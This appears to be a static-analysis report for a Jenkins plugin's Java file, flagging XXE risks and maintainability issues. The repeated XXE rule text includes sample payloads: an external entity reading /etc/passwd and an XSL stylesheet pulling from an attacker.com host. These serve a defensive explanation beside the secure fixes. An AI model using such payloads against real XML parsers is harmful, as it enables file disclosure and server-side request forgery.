jenkinsci/hpe-application-automation-tools-plugin

View on GitHub
src/main/java/com/microfocus/application/automation/tools/results/RunResultRecorder.java

Summary

Maintainability
C
1 day
Test Coverage

Disable access to external entities in XML parsing.
Open

        TransformerFactory tFactory = TransformerFactory.newInstance();

XML specification allows the use of entities that can be internal or external (file system / network access ...) which could lead to vulnerabilities such as confidential file disclosures or SSRFs.

Example in this XML document, an external entity read the /etc/passwd file:

<?xml version="1.0" encoding="utf-8"?>
  <!DOCTYPE test [
    <!ENTITY xxe SYSTEM "file:///etc/passwd">
  ]>
<note xmlns="http://www.w3schools.com" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">
  <to>&xxe;</to>
  <from>Jani</from>
  <heading>Reminder</heading>
  <body>Don't forget me this weekend!</body>
</note>

In this XSL document, network access is allowed which can lead to SSRF vulnerabilities:

<?xml version="1.0" encoding="UTF-8"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.attacker.com/evil.xsl">
  <xsl:import href="http://www.attacker.com/evil.xsl"/>
  <xsl:include href="http://www.attacker.com/evil.xsl"/>
 <xsl:template match="/">
  &content;
 </xsl:template>
</xsl:stylesheet>

It is recommended to disable access to external entities and network access in general.

To protect Java XML Parsers from XXE attacks these properties have been defined since JAXP 1.5:

  • ACCESS_EXTERNAL_DTD: should be set to "" when processing XML/XSD/XLS files (it looks for external DOCTYPEs)
  • ACCESS_EXTERNAL_SCHEMA: should be set to "" when processing XML/XSD/XLS files (it looks for external schemalocation ect)
  • ACCESS_EXTERNAL_STYLESHEET should be set to "" when processing XLS file (it looks for external imports, includes ect);

Note that Apache Xerces is still based on JAXP 1.4, therefore one solution is to set to false the external-general-entities feature.

Avoid FEATURE_SECURE_PROCESSING feature to protect from XXE attacks because depending on the implementation:

  • it has no effect to protect the parser from XXE attacks but helps guard against excessive memory consumption from XML processing.
  • or it's just an obscur shortcut (it could set ACCESS_EXTERNAL_DTD and ACCESS_EXTERNAL_SCHEMA to "" but without guarantee).

When setting an entity resolver to null (eg: setEntityResolver(null)) the parser will use its own resolution, which is unsafe.

Noncompliant Code Examples

DocumentBuilderFactory library:

String xml = "xxe.xml";
DocumentBuilderFactory df = DocumentBuilderFactory.newInstance();
DocumentBuilder builder = df.newDocumentBuilder();  // Noncompliant
Document document = builder.parse(new InputSource(xml));
DOMSource domSource = new DOMSource(document);

SAXParserFactory library:

String xml = "xxe.xml";
SaxHandler handler = new SaxHandler();
SAXParserFactory factory = SAXParserFactory.newInstance();
SAXParser parser = factory.newSAXParser();  // Noncompliant
parser.parse(xml, handler);

XMLInputFactory library:

XMLInputFactory factory = XMLInputFactory.newInstance();  // Noncompliant
XMLEventReader eventReader = factory.createXMLEventReader(new FileReader("xxe.xml"));

TransformerFactory library:

String xslt = "xxe.xsl";
String xml = "xxe.xml";
TransformerFactory transformerFactory = javax.xml.transform.TransformerFactory.newInstance();  // Noncompliant
Transformer transformer = transformerFactory.newTransformer(new StreamSource(xslt));

StringWriter writer = new StringWriter();
transformer.transform(new StreamSource(xml), new StreamResult(writer));
String result = writer.toString();

SchemaFactory library:

String xsd = "xxe.xsd";
StreamSource xsdStreamSource = new StreamSource(xsd);

SchemaFactory schemaFactory = SchemaFactory.newInstance(XMLConstants.W3C_XML_SCHEMA_NS_URI);  // Noncompliant
Schema schema = schemaFactory.newSchema(xsdStreamSource);

Validator library:

String xsd = "xxe.xsd";
String xml = "xxe.xml";
StreamSource xsdStreamSource = new StreamSource(xsd);
StreamSource xmlStreamSource = new StreamSource(xml);

SchemaFactory schemaFactory = SchemaFactory.newInstance(XMLConstants.W3C_XML_SCHEMA_NS_URI);
Schema schema = schemaFactory.newSchema(xsdStreamSource);
Validator validator = schema.newValidator();   // Noncompliant

StringWriter writer = new StringWriter();
validator.validate(xmlStreamSource, new StreamResult(writer));

Dom4j library:

SAXReader xmlReader = new SAXReader(); // Noncompliant by default
Document xmlResponse = xmlReader.read(xml);

Jdom2 library:

SAXBuilder builder = new SAXBuilder(); // Noncompliant by default
Document document = builder.build(new File(xml));

Compliant Solution

DocumentBuilderFactory library:

String xml = "xxe.xml";
DocumentBuilderFactory df = DocumentBuilderFactory.newInstance();
df.setAttribute(XMLConstants.ACCESS_EXTERNAL_DTD, ""); // Compliant
df.setAttribute(XMLConstants.ACCESS_EXTERNAL_SCHEMA, ""); // compliant
DocumentBuilder builder = df.newDocumentBuilder();
Document document = builder.parse(new InputSource(xml));
DOMSource domSource = new DOMSource(document);

SAXParserFactory library:

String xml = "xxe.xml";
SaxHandler handler = new SaxHandler();
SAXParserFactory factory = SAXParserFactory.newInstance();
SAXParser parser = factory.newSAXParser();
parser.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, ""); // Compliant
parser.setProperty(XMLConstants.ACCESS_EXTERNAL_SCHEMA, ""); // compliant
parser.parse(xml, handler);

XMLInputFactory library:

XMLInputFactory factory = XMLInputFactory.newInstance();
factory.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, ""); // Compliant
factory.setProperty(XMLConstants.ACCESS_EXTERNAL_SCHEMA, "");  // compliant

XMLEventReader eventReader = factory.createXMLEventReader(new FileReader("xxe.xml"));

TransformerFactory library:

String xslt = "xxe.xsl";
String xml = "xxe.xml";
TransformerFactory transformerFactory = javax.xml.transform.TransformerFactory.newInstance();
transformerFactory.setAttribute(XMLConstants.ACCESS_EXTERNAL_DTD, ""); // Compliant
transformerFactory.setAttribute(XMLConstants.ACCESS_EXTERNAL_STYLESHEET, ""); // Compliant
// ACCESS_EXTERNAL_SCHEMA not supported in several TransformerFactory implementations
Transformer transformer = transformerFactory.newTransformer(new StreamSource(xslt));

StringWriter writer = new StringWriter();
transformer.transform(new StreamSource(xml), new StreamResult(writer));
String result = writer.toString();

SchemaFactory library:

String xsd = "xxe.xsd";
StreamSource xsdStreamSource = new StreamSource(xsd);

SchemaFactory schemaFactory = SchemaFactory.newInstance(XMLConstants.W3C_XML_SCHEMA_NS_URI);
schemaFactory.setProperty(XMLConstants.ACCESS_EXTERNAL_SCHEMA, ""); // Compliant
schemaFactory.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, ""); // Compliant
Schema schema = schemaFactory.newSchema(xsdStreamSource);

Validator library:

String xsd = "xxe.xsd";
String xml = "xxe.xml";
StreamSource xsdStreamSource = new StreamSource(xsd);
StreamSource xmlStreamSource = new StreamSource(xml);

SchemaFactory schemaFactory = SchemaFactory.newInstance(XMLConstants.W3C_XML_SCHEMA_NS_URI);
Schema schema = schemaFactory.newSchema(xsdStreamSource);
schemaFactory.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, "");
schemaFactory.setProperty(XMLConstants.ACCESS_EXTERNAL_SCHEMA, "");
// validators will also inherit of these properties
Validator validator = schema.newValidator();

validator.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, "");   // Compliant
validator.setProperty(XMLConstants.ACCESS_EXTERNAL_SCHEMA, "");   // Compliant

StringWriter writer = new StringWriter();
validator.validate(xmlStreamSource, new StreamResult(writer));

For dom4j library, ACCESS_EXTERNAL_DTD and ACCESS_EXTERNAL_SCHEMA are not supported, thus a very strict fix is to disable doctype declarations:

SAXReader xmlReader = new SAXReader();
xmlReader.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true); // Compliant
Document xmlResponse = xmlReader.read(xml);

Jdom2 library:

SAXBuilder builder = new SAXBuilder(); // Compliant
builder.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, ""); // Compliant
builder.setProperty(XMLConstants.ACCESS_EXTERNAL_SCHEMA, ""); // Compliant
Document document = builder.build(new File(xml));

See

Disable access to external entities in XML parsing.
Open

            DocumentBuilder dBuilder = dbFactory.newDocumentBuilder();

XML specification allows the use of entities that can be internal or external (file system / network access ...) which could lead to vulnerabilities such as confidential file disclosures or SSRFs.

Example in this XML document, an external entity read the /etc/passwd file:

<?xml version="1.0" encoding="utf-8"?>
  <!DOCTYPE test [
    <!ENTITY xxe SYSTEM "file:///etc/passwd">
  ]>
<note xmlns="http://www.w3schools.com" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">
  <to>&xxe;</to>
  <from>Jani</from>
  <heading>Reminder</heading>
  <body>Don't forget me this weekend!</body>
</note>

In this XSL document, network access is allowed which can lead to SSRF vulnerabilities:

<?xml version="1.0" encoding="UTF-8"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.attacker.com/evil.xsl">
  <xsl:import href="http://www.attacker.com/evil.xsl"/>
  <xsl:include href="http://www.attacker.com/evil.xsl"/>
 <xsl:template match="/">
  &content;
 </xsl:template>
</xsl:stylesheet>

It is recommended to disable access to external entities and network access in general.

To protect Java XML Parsers from XXE attacks these properties have been defined since JAXP 1.5:

  • ACCESS_EXTERNAL_DTD: should be set to "" when processing XML/XSD/XLS files (it looks for external DOCTYPEs)
  • ACCESS_EXTERNAL_SCHEMA: should be set to "" when processing XML/XSD/XLS files (it looks for external schemalocation ect)
  • ACCESS_EXTERNAL_STYLESHEET should be set to "" when processing XLS file (it looks for external imports, includes ect);

Note that Apache Xerces is still based on JAXP 1.4, therefore one solution is to set to false the external-general-entities feature.

Avoid FEATURE_SECURE_PROCESSING feature to protect from XXE attacks because depending on the implementation:

  • it has no effect to protect the parser from XXE attacks but helps guard against excessive memory consumption from XML processing.
  • or it's just an obscur shortcut (it could set ACCESS_EXTERNAL_DTD and ACCESS_EXTERNAL_SCHEMA to "" but without guarantee).

When setting an entity resolver to null (eg: setEntityResolver(null)) the parser will use its own resolution, which is unsafe.

Noncompliant Code Examples

DocumentBuilderFactory library:

String xml = "xxe.xml";
DocumentBuilderFactory df = DocumentBuilderFactory.newInstance();
DocumentBuilder builder = df.newDocumentBuilder();  // Noncompliant
Document document = builder.parse(new InputSource(xml));
DOMSource domSource = new DOMSource(document);

SAXParserFactory library:

String xml = "xxe.xml";
SaxHandler handler = new SaxHandler();
SAXParserFactory factory = SAXParserFactory.newInstance();
SAXParser parser = factory.newSAXParser();  // Noncompliant
parser.parse(xml, handler);

XMLInputFactory library:

XMLInputFactory factory = XMLInputFactory.newInstance();  // Noncompliant
XMLEventReader eventReader = factory.createXMLEventReader(new FileReader("xxe.xml"));

TransformerFactory library:

String xslt = "xxe.xsl";
String xml = "xxe.xml";
TransformerFactory transformerFactory = javax.xml.transform.TransformerFactory.newInstance();  // Noncompliant
Transformer transformer = transformerFactory.newTransformer(new StreamSource(xslt));

StringWriter writer = new StringWriter();
transformer.transform(new StreamSource(xml), new StreamResult(writer));
String result = writer.toString();

SchemaFactory library:

String xsd = "xxe.xsd";
StreamSource xsdStreamSource = new StreamSource(xsd);

SchemaFactory schemaFactory = SchemaFactory.newInstance(XMLConstants.W3C_XML_SCHEMA_NS_URI);  // Noncompliant
Schema schema = schemaFactory.newSchema(xsdStreamSource);

Validator library:

String xsd = "xxe.xsd";
String xml = "xxe.xml";
StreamSource xsdStreamSource = new StreamSource(xsd);
StreamSource xmlStreamSource = new StreamSource(xml);

SchemaFactory schemaFactory = SchemaFactory.newInstance(XMLConstants.W3C_XML_SCHEMA_NS_URI);
Schema schema = schemaFactory.newSchema(xsdStreamSource);
Validator validator = schema.newValidator();   // Noncompliant

StringWriter writer = new StringWriter();
validator.validate(xmlStreamSource, new StreamResult(writer));

Dom4j library:

SAXReader xmlReader = new SAXReader(); // Noncompliant by default
Document xmlResponse = xmlReader.read(xml);

Jdom2 library:

SAXBuilder builder = new SAXBuilder(); // Noncompliant by default
Document document = builder.build(new File(xml));

Compliant Solution

DocumentBuilderFactory library:

String xml = "xxe.xml";
DocumentBuilderFactory df = DocumentBuilderFactory.newInstance();
df.setAttribute(XMLConstants.ACCESS_EXTERNAL_DTD, ""); // Compliant
df.setAttribute(XMLConstants.ACCESS_EXTERNAL_SCHEMA, ""); // compliant
DocumentBuilder builder = df.newDocumentBuilder();
Document document = builder.parse(new InputSource(xml));
DOMSource domSource = new DOMSource(document);

SAXParserFactory library:

String xml = "xxe.xml";
SaxHandler handler = new SaxHandler();
SAXParserFactory factory = SAXParserFactory.newInstance();
SAXParser parser = factory.newSAXParser();
parser.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, ""); // Compliant
parser.setProperty(XMLConstants.ACCESS_EXTERNAL_SCHEMA, ""); // compliant
parser.parse(xml, handler);

XMLInputFactory library:

XMLInputFactory factory = XMLInputFactory.newInstance();
factory.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, ""); // Compliant
factory.setProperty(XMLConstants.ACCESS_EXTERNAL_SCHEMA, "");  // compliant

XMLEventReader eventReader = factory.createXMLEventReader(new FileReader("xxe.xml"));

TransformerFactory library:

String xslt = "xxe.xsl";
String xml = "xxe.xml";
TransformerFactory transformerFactory = javax.xml.transform.TransformerFactory.newInstance();
transformerFactory.setAttribute(XMLConstants.ACCESS_EXTERNAL_DTD, ""); // Compliant
transformerFactory.setAttribute(XMLConstants.ACCESS_EXTERNAL_STYLESHEET, ""); // Compliant
// ACCESS_EXTERNAL_SCHEMA not supported in several TransformerFactory implementations
Transformer transformer = transformerFactory.newTransformer(new StreamSource(xslt));

StringWriter writer = new StringWriter();
transformer.transform(new StreamSource(xml), new StreamResult(writer));
String result = writer.toString();

SchemaFactory library:

String xsd = "xxe.xsd";
StreamSource xsdStreamSource = new StreamSource(xsd);

SchemaFactory schemaFactory = SchemaFactory.newInstance(XMLConstants.W3C_XML_SCHEMA_NS_URI);
schemaFactory.setProperty(XMLConstants.ACCESS_EXTERNAL_SCHEMA, ""); // Compliant
schemaFactory.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, ""); // Compliant
Schema schema = schemaFactory.newSchema(xsdStreamSource);

Validator library:

String xsd = "xxe.xsd";
String xml = "xxe.xml";
StreamSource xsdStreamSource = new StreamSource(xsd);
StreamSource xmlStreamSource = new StreamSource(xml);

SchemaFactory schemaFactory = SchemaFactory.newInstance(XMLConstants.W3C_XML_SCHEMA_NS_URI);
Schema schema = schemaFactory.newSchema(xsdStreamSource);
schemaFactory.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, "");
schemaFactory.setProperty(XMLConstants.ACCESS_EXTERNAL_SCHEMA, "");
// validators will also inherit of these properties
Validator validator = schema.newValidator();

validator.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, "");   // Compliant
validator.setProperty(XMLConstants.ACCESS_EXTERNAL_SCHEMA, "");   // Compliant

StringWriter writer = new StringWriter();
validator.validate(xmlStreamSource, new StreamResult(writer));

For dom4j library, ACCESS_EXTERNAL_DTD and ACCESS_EXTERNAL_SCHEMA are not supported, thus a very strict fix is to disable doctype declarations:

SAXReader xmlReader = new SAXReader();
xmlReader.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true); // Compliant
Document xmlResponse = xmlReader.read(xml);

Jdom2 library:

SAXBuilder builder = new SAXBuilder(); // Compliant
builder.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, ""); // Compliant
builder.setProperty(XMLConstants.ACCESS_EXTERNAL_SCHEMA, ""); // Compliant
Document document = builder.build(new File(xml));

See

Disable access to external entities in XML parsing.
Open

        DocumentBuilder dBuilder = dbFactory.newDocumentBuilder();

XML specification allows the use of entities that can be internal or external (file system / network access ...) which could lead to vulnerabilities such as confidential file disclosures or SSRFs.

Example in this XML document, an external entity read the /etc/passwd file:

<?xml version="1.0" encoding="utf-8"?>
  <!DOCTYPE test [
    <!ENTITY xxe SYSTEM "file:///etc/passwd">
  ]>
<note xmlns="http://www.w3schools.com" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">
  <to>&xxe;</to>
  <from>Jani</from>
  <heading>Reminder</heading>
  <body>Don't forget me this weekend!</body>
</note>

In this XSL document, network access is allowed which can lead to SSRF vulnerabilities:

<?xml version="1.0" encoding="UTF-8"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.attacker.com/evil.xsl">
  <xsl:import href="http://www.attacker.com/evil.xsl"/>
  <xsl:include href="http://www.attacker.com/evil.xsl"/>
 <xsl:template match="/">
  &content;
 </xsl:template>
</xsl:stylesheet>

It is recommended to disable access to external entities and network access in general.

To protect Java XML Parsers from XXE attacks these properties have been defined since JAXP 1.5:

  • ACCESS_EXTERNAL_DTD: should be set to "" when processing XML/XSD/XLS files (it looks for external DOCTYPEs)
  • ACCESS_EXTERNAL_SCHEMA: should be set to "" when processing XML/XSD/XLS files (it looks for external schemalocation ect)
  • ACCESS_EXTERNAL_STYLESHEET should be set to "" when processing XLS file (it looks for external imports, includes ect);

Note that Apache Xerces is still based on JAXP 1.4, therefore one solution is to set to false the external-general-entities feature.

Avoid FEATURE_SECURE_PROCESSING feature to protect from XXE attacks because depending on the implementation:

  • it has no effect to protect the parser from XXE attacks but helps guard against excessive memory consumption from XML processing.
  • or it's just an obscur shortcut (it could set ACCESS_EXTERNAL_DTD and ACCESS_EXTERNAL_SCHEMA to "" but without guarantee).

When setting an entity resolver to null (eg: setEntityResolver(null)) the parser will use its own resolution, which is unsafe.

Noncompliant Code Examples

DocumentBuilderFactory library:

String xml = "xxe.xml";
DocumentBuilderFactory df = DocumentBuilderFactory.newInstance();
DocumentBuilder builder = df.newDocumentBuilder();  // Noncompliant
Document document = builder.parse(new InputSource(xml));
DOMSource domSource = new DOMSource(document);

SAXParserFactory library:

String xml = "xxe.xml";
SaxHandler handler = new SaxHandler();
SAXParserFactory factory = SAXParserFactory.newInstance();
SAXParser parser = factory.newSAXParser();  // Noncompliant
parser.parse(xml, handler);

XMLInputFactory library:

XMLInputFactory factory = XMLInputFactory.newInstance();  // Noncompliant
XMLEventReader eventReader = factory.createXMLEventReader(new FileReader("xxe.xml"));

TransformerFactory library:

String xslt = "xxe.xsl";
String xml = "xxe.xml";
TransformerFactory transformerFactory = javax.xml.transform.TransformerFactory.newInstance();  // Noncompliant
Transformer transformer = transformerFactory.newTransformer(new StreamSource(xslt));

StringWriter writer = new StringWriter();
transformer.transform(new StreamSource(xml), new StreamResult(writer));
String result = writer.toString();

SchemaFactory library:

String xsd = "xxe.xsd";
StreamSource xsdStreamSource = new StreamSource(xsd);

SchemaFactory schemaFactory = SchemaFactory.newInstance(XMLConstants.W3C_XML_SCHEMA_NS_URI);  // Noncompliant
Schema schema = schemaFactory.newSchema(xsdStreamSource);

Validator library:

String xsd = "xxe.xsd";
String xml = "xxe.xml";
StreamSource xsdStreamSource = new StreamSource(xsd);
StreamSource xmlStreamSource = new StreamSource(xml);

SchemaFactory schemaFactory = SchemaFactory.newInstance(XMLConstants.W3C_XML_SCHEMA_NS_URI);
Schema schema = schemaFactory.newSchema(xsdStreamSource);
Validator validator = schema.newValidator();   // Noncompliant

StringWriter writer = new StringWriter();
validator.validate(xmlStreamSource, new StreamResult(writer));

Dom4j library:

SAXReader xmlReader = new SAXReader(); // Noncompliant by default
Document xmlResponse = xmlReader.read(xml);

Jdom2 library:

SAXBuilder builder = new SAXBuilder(); // Noncompliant by default
Document document = builder.build(new File(xml));

Compliant Solution

DocumentBuilderFactory library:

String xml = "xxe.xml";
DocumentBuilderFactory df = DocumentBuilderFactory.newInstance();
df.setAttribute(XMLConstants.ACCESS_EXTERNAL_DTD, ""); // Compliant
df.setAttribute(XMLConstants.ACCESS_EXTERNAL_SCHEMA, ""); // compliant
DocumentBuilder builder = df.newDocumentBuilder();
Document document = builder.parse(new InputSource(xml));
DOMSource domSource = new DOMSource(document);

SAXParserFactory library:

String xml = "xxe.xml";
SaxHandler handler = new SaxHandler();
SAXParserFactory factory = SAXParserFactory.newInstance();
SAXParser parser = factory.newSAXParser();
parser.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, ""); // Compliant
parser.setProperty(XMLConstants.ACCESS_EXTERNAL_SCHEMA, ""); // compliant
parser.parse(xml, handler);

XMLInputFactory library:

XMLInputFactory factory = XMLInputFactory.newInstance();
factory.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, ""); // Compliant
factory.setProperty(XMLConstants.ACCESS_EXTERNAL_SCHEMA, "");  // compliant

XMLEventReader eventReader = factory.createXMLEventReader(new FileReader("xxe.xml"));

TransformerFactory library:

String xslt = "xxe.xsl";
String xml = "xxe.xml";
TransformerFactory transformerFactory = javax.xml.transform.TransformerFactory.newInstance();
transformerFactory.setAttribute(XMLConstants.ACCESS_EXTERNAL_DTD, ""); // Compliant
transformerFactory.setAttribute(XMLConstants.ACCESS_EXTERNAL_STYLESHEET, ""); // Compliant
// ACCESS_EXTERNAL_SCHEMA not supported in several TransformerFactory implementations
Transformer transformer = transformerFactory.newTransformer(new StreamSource(xslt));

StringWriter writer = new StringWriter();
transformer.transform(new StreamSource(xml), new StreamResult(writer));
String result = writer.toString();

SchemaFactory library:

String xsd = "xxe.xsd";
StreamSource xsdStreamSource = new StreamSource(xsd);

SchemaFactory schemaFactory = SchemaFactory.newInstance(XMLConstants.W3C_XML_SCHEMA_NS_URI);
schemaFactory.setProperty(XMLConstants.ACCESS_EXTERNAL_SCHEMA, ""); // Compliant
schemaFactory.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, ""); // Compliant
Schema schema = schemaFactory.newSchema(xsdStreamSource);

Validator library:

String xsd = "xxe.xsd";
String xml = "xxe.xml";
StreamSource xsdStreamSource = new StreamSource(xsd);
StreamSource xmlStreamSource = new StreamSource(xml);

SchemaFactory schemaFactory = SchemaFactory.newInstance(XMLConstants.W3C_XML_SCHEMA_NS_URI);
Schema schema = schemaFactory.newSchema(xsdStreamSource);
schemaFactory.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, "");
schemaFactory.setProperty(XMLConstants.ACCESS_EXTERNAL_SCHEMA, "");
// validators will also inherit of these properties
Validator validator = schema.newValidator();

validator.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, "");   // Compliant
validator.setProperty(XMLConstants.ACCESS_EXTERNAL_SCHEMA, "");   // Compliant

StringWriter writer = new StringWriter();
validator.validate(xmlStreamSource, new StreamResult(writer));

For dom4j library, ACCESS_EXTERNAL_DTD and ACCESS_EXTERNAL_SCHEMA are not supported, thus a very strict fix is to disable doctype declarations:

SAXReader xmlReader = new SAXReader();
xmlReader.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true); // Compliant
Document xmlResponse = xmlReader.read(xml);

Jdom2 library:

SAXBuilder builder = new SAXBuilder(); // Compliant
builder.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, ""); // Compliant
builder.setProperty(XMLConstants.ACCESS_EXTERNAL_SCHEMA, ""); // Compliant
Document document = builder.build(new File(xml));

See

Avoid deeply nested control flow statements.
Open

                        if (!testCaseElement.hasAttribute(REPORT_NAME_FIELD)) {
                            continue;
                        }

    Avoid deeply nested control flow statements.
    Open

                                if (testSla == null) {
                                    listener.getLogger().println("no RunReport.xml file was created");
                                } else {
                                    runReportList.add(testSla);
                                }

      Avoid deeply nested control flow statements.
      Open

                              if (archiveFolder(reportFolder, testStatus, archivedFile, listener)) {
                                  zipFileNames.add(zipFileName);
                              }

        Avoid deeply nested control flow statements.
        Open

                                switch (buildStepName) {
                                    case "RunFromAlmBuilder":
                                        resFileParam = paramAction.getParameter("resultsFilename");
                                        if (resFileParam != null) {
                                            almResultNames.add(((StringParameterValue)resFileParam).getValue());

          Refactor this method to reduce its Cognitive Complexity from 148 to the 15 allowed.
          Open

              private void archiveTestsReport(Run<?, ?> build, TaskListener listener, List<String> resultFiles,

          Cognitive Complexity is a measure of how hard the control flow of a method is to understand. Methods with high Cognitive Complexity will be difficult to maintain.

          See

          Refactor this method to reduce its Cognitive Complexity from 28 to the 15 allowed.
          Open

              private void outputReportFiles(List<String> reportNames, File reportDirectory, TestResult testResult, String title,

          Cognitive Complexity is a measure of how hard the control flow of a method is to understand. Methods with high Cognitive Complexity will be difficult to maintain.

          See

          Refactor this method to reduce its Cognitive Complexity from 16 to the 15 allowed.
          Open

              private Boolean collectAndPrepareHtmlReports(Run build, TaskListener listener, List<ReportMetaData> htmlReportsInfo, FilePath runWorkspace, String nodeName) {

          Cognitive Complexity is a measure of how hard the control flow of a method is to understand. Methods with high Cognitive Complexity will be difficult to maintain.

          See

          Refactor this method to reduce its Cognitive Complexity from 51 to the 15 allowed.
          Open

              public void perform(@Nonnull Run<?, ?> build, @Nonnull FilePath workspace, @Nonnull Launcher launcher, @Nonnull TaskListener listener)

          Cognitive Complexity is a measure of how hard the control flow of a method is to understand. Methods with high Cognitive Complexity will be difficult to maintain.

          See

          Refactor this method to reduce its Cognitive Complexity from 17 to the 15 allowed.
          Open

              private void createTransactionSummary(FilePath reportFolder, String testFolderPath, File artifactsDir,

          Cognitive Complexity is a measure of how hard the control flow of a method is to understand. Methods with high Cognitive Complexity will be difficult to maintain.

          See

          Define a constant instead of duplicating this literal ".html" 4 times.
          Open

                  File richReportsHtml = new File(reportDirectory, HTML_REPORT_FOLDER + ".html");

          Duplicated string literals make the process of refactoring error-prone, since you must be sure to update all occurrences.

          On the other hand, constants can be referenced from many places, but only need to be updated in a single place.

          Noncompliant Code Example

          With the default threshold of 3:

          public void run() {
            prepare("action1");                              // Noncompliant - "action1" is duplicated 3 times
            execute("action1");
            release("action1");
          }
          
          @SuppressWarning("all")                            // Compliant - annotations are excluded
          private void method1() { /* ... */ }
          @SuppressWarning("all")
          private void method2() { /* ... */ }
          
          public String method3(String a) {
            System.out.println("'" + a + "'");               // Compliant - literal "'" has less than 5 characters and is excluded
            return "";                                       // Compliant - literal "" has less than 5 characters and is excluded
          }
          

          Compliant Solution

          private static final String ACTION_1 = "action1";  // Compliant
          
          public void run() {
            prepare(ACTION_1);                               // Compliant
            execute(ACTION_1);
            release(ACTION_1);
          }
          

          Exceptions

          To prevent generating some false-positives, literals having less than 5 characters are excluded.

          Add a default case to this switch.
          Open

                  switch (slaGoal) {

          The requirement for a final default clause is defensive programming. The clause should either take appropriate action, or contain a suitable comment as to why no action is taken.

          Noncompliant Code Example

          switch (param) {  //missing default clause
            case 0:
              doSomething();
              break;
            case 1:
              doSomethingElse();
              break;
          }
          
          switch (param) {
            default: // default clause should be the last one
              error();
              break;
            case 0:
              doSomething();
              break;
            case 1:
              doSomethingElse();
              break;
          }
          

          Compliant Solution

          switch (param) {
            case 0:
              doSomething();
              break;
            case 1:
              doSomethingElse();
              break;
            default:
              error();
              break;
          }
          

          Exceptions

          If the switch parameter is an Enum and if all the constants of this enum are used in the case statements, then no default clause is expected.

          Example:

          public enum Day {
              SUNDAY, MONDAY
          }
          ...
          switch(day) {
            case SUNDAY:
              doSomething();
              break;
            case MONDAY:
              doSomethingElse();
              break;
          }
          

          See

          Extract this nested try block into a separate method.
          Open

                          try {

          Nesting try/catch blocks severely impacts the readability of source code because it makes it too difficult to understand which block will catch which exception.

          Provide the parametrized type for this generic.
          Open

                              for (Iterator i = suitResult.getCases().iterator(); i.hasNext();) {

          Generic types shouldn't be used raw (without type parameters) in variable declarations or return values. Doing so bypasses generic type checking, and defers the catch of unsafe code to runtime.

          Noncompliant Code Example

          List myList; // Noncompliant
          Set mySet; // Noncompliant
          

          Compliant Solution

          List<String> myList;
          Set<? extends Number> mySet;
          

          Use already-defined constant 'RUN_RESULTS_XML' instead of duplicating its value here.
          Open

                  private final String[] excludedFilenames = new String[] { "run_results.xml", "run_results.html", "diffcompare",

          Duplicated string literals make the process of refactoring error-prone, since you must be sure to update all occurrences.

          On the other hand, constants can be referenced from many places, but only need to be updated in a single place.

          Noncompliant Code Example

          With the default threshold of 3:

          public void run() {
            prepare("action1");                              // Noncompliant - "action1" is duplicated 3 times
            execute("action1");
            release("action1");
          }
          
          @SuppressWarning("all")                            // Compliant - annotations are excluded
          private void method1() { /* ... */ }
          @SuppressWarning("all")
          private void method2() { /* ... */ }
          
          public String method3(String a) {
            System.out.println("'" + a + "'");               // Compliant - literal "'" has less than 5 characters and is excluded
            return "";                                       // Compliant - literal "" has less than 5 characters and is excluded
          }
          

          Compliant Solution

          private static final String ACTION_1 = "action1";  // Compliant
          
          public void run() {
            prepare(ACTION_1);                               // Compliant
            execute(ACTION_1);
            release(ACTION_1);
          }
          

          Exceptions

          To prevent generating some false-positives, literals having less than 5 characters are excluded.

          Define a constant instead of duplicating this literal "resultsFilename" 3 times.
          Open

                                          resFileParam = paramAction.getParameter("resultsFilename");

          Duplicated string literals make the process of refactoring error-prone, since you must be sure to update all occurrences.

          On the other hand, constants can be referenced from many places, but only need to be updated in a single place.

          Noncompliant Code Example

          With the default threshold of 3:

          public void run() {
            prepare("action1");                              // Noncompliant - "action1" is duplicated 3 times
            execute("action1");
            release("action1");
          }
          
          @SuppressWarning("all")                            // Compliant - annotations are excluded
          private void method1() { /* ... */ }
          @SuppressWarning("all")
          private void method2() { /* ... */ }
          
          public String method3(String a) {
            System.out.println("'" + a + "'");               // Compliant - literal "'" has less than 5 characters and is excluded
            return "";                                       // Compliant - literal "" has less than 5 characters and is excluded
          }
          

          Compliant Solution

          private static final String ACTION_1 = "action1";  // Compliant
          
          public void run() {
            prepare(ACTION_1);                               // Compliant
            execute(ACTION_1);
            release(ACTION_1);
          }
          

          Exceptions

          To prevent generating some false-positives, literals having less than 5 characters are excluded.

          Change this "try" to a try-with-resources. (sonar.java.source not set. Assuming 7 or greater.)
          Open

                  try {

          Java 7 introduced the try-with-resources statement, which guarantees that the resource in question will be closed. Since the new syntax is closer to bullet-proof, it should be preferred over the older try/catch/finally version.

          This rule checks that close-able resources are opened in a try-with-resources statement.

          Note that this rule is automatically disabled when the project's sonar.java.source is lower than 7.

          Noncompliant Code Example

          FileReader fr = null;
          BufferedReader br = null;
          try {
            fr = new FileReader(fileName);
            br = new BufferedReader(fr);
            return br.readLine();
          } catch (...) {
          } finally {
            if (br != null) {
              try {
                br.close();
              } catch(IOException e){...}
            }
            if (fr != null ) {
              try {
                br.close();
              } catch(IOException e){...}
            }
          }
          

